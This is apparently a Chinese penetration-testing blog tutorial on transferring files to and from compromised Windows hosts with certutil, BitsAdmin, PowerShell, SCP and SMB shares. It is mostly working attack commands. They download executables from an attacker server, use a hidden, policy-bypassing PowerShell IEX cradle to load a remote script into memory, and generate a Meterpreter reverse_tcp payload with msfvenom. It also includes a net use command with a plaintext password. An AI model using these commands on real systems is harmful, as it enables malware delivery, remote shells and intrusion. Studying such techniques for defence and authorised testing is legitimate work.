文章目录
- 文件传输
- certutil
- BitsAdmin
- Powershell
- SCP
- Windows文件共享
文件传输
文件传输在渗透测试中主要用于将攻击载荷上传到目标主机或者获取目标资产使用。
下面我说的下载统一为攻击机向目标机传输文件,上传则相反!
下面很多下载我都是在Linux上开启的下载服务,可以看我在Linux篇写的攻击机挂载文件: https://xunmi.blog.csdn.net/article/details/115370320
注意: 下述所有命令,如果你是在powershell中执行的,则无需在开头写powershell,如果是在cmd中执行的,这需要写powershell。下述所有命令没有特殊说明的情况下,我都是使用powershell做示例!(看命令行开头有PS
这代表是powershell!)
certutil
certutil是Windows内置的一个证书服务的一部分,其中有可以被我们利用的下载模块。
- 优势: 方便易用,支持大多数文件下载
- 缺点: 不支持文件上传,而且下载文件后留有缓存
-URLCache
-URLCache -split
-URLCache -f
certutil.exe -urlcache -split -f 目标文件 保存地址
certutil -urlcache -split -f http://43.128.11.31:8000/6666.exe C:\临时\下载文件.exe
上述在介绍命令的时候也能看出这种下载方式是利用了cetutil的缓存机制,所以会留下缓存的文件。默认缓存路径%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
certutil.exe -urlcache -split -f 目标文件 delete
certutil.exe -urlcache -split -f http://43.128.11.31:8000/6666.exe delete
BitsAdmin
- 优势: 专门用来传输文件的工具,传输功能齐全。
- 缺点: 下载目标必须是真实的HTTP协议,如阿帕奇,不支持Python之类的脚本开启的临时服务。
bitsadmin /transfer 任务名 下载地址 保存地址(最后需要加上保存文件的名字)
bitsadmin /transfer 下载任务 http://43.128.11.131/1.txt C:\Users\xunmi\Desktop\网安\下载文件.txt
Powershell
- 优势: 简单易用,适用性广。(并且支持Python之类的脚本语言开启的简易web服务!)
- 缺点: 被大多数杀软判定为安全重灾区,会受到很多杀软的’特殊关照’!
- 方法一: 调用内置对象
system.net.webclient
(提供常用的方法来发送和接收由URI标识的一个资源中的数据)
$p = new-object system.net.webclient
$p.downloadfile("下载地址","保存地址")
$p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')
powershell -c "$p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')"
powershell -c "$p=new-object system.net.webclient;$p.downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')"
(new-object system.net.webclient).downloadfile("下载地址","保存地址")
(new-object system.net.webclient).downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')
PS: 保存地址尽量写绝对路径!
- 方法二:调用
Invoke-WebRequest
方法,此方法有几个别名,iwr,wget,curl,使用此别名和此方法名效果是完全相同的!如果你看了我之前写的linux篇或本身对Linux文件传输就有所了解应该会对这几个别名感觉非常熟悉!
Invoke-WebRequest -uri "下载地址" -OutFile "保存地址"
wget "下载地址" -OutFile "保存地址"
wget 'http://43.128.11.131:8000/6666.exe' -OutFile 'C:\Users\xunmi\Desktop\网安\6666.exe'
- 方法三: 加文件加载如内存,无文件落地,这里需要调用到内置对象
Net.WebClient
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('下载地址');脚本名";
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1";
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=6666 -f psh-reflection -o shell.ps1
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1";
SCP
scp有点像ssh的连接语法,也是一个非交互的文件传输方法,同样也会自动调用ssh的免密认证。并且这种方法不仅可以下载文件,还可以下载文件夹还有上传文件和文件夹操作!
scp 用户名@服务器地址:目标文件 保存地址
scp root@43.128.11.131:/root/渗透测试/1.txt F:\下载\临时\1.txt
scp -r 用户名@服务器地址:目标文件夹 保存地址
scp -r root@43.128.11.131:/root/渗透测试/挂载脚本 F:\下载\临时\
scp 上传文件 用户名@服务器地址:目标目录
scp F:\下载\临时\火星船票.png root@43.128.11.131:/root/渗透测试/上传的图片.png
scp -r F:\下载\临时 root@43.128.11.131:/root/渗透测试
Windows文件共享
文件共享在内网横向渗透中会比较常用。
net share
net use 本地盘符 \\目标IP地址\目标共享名
net use 本地盘符 \\目标IP地址\目标共享名 "目标用户密码" /user:目标用户名
net use Y: \\192.168.1.251\Users "8ge8+1ge1" /user:xunmi
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)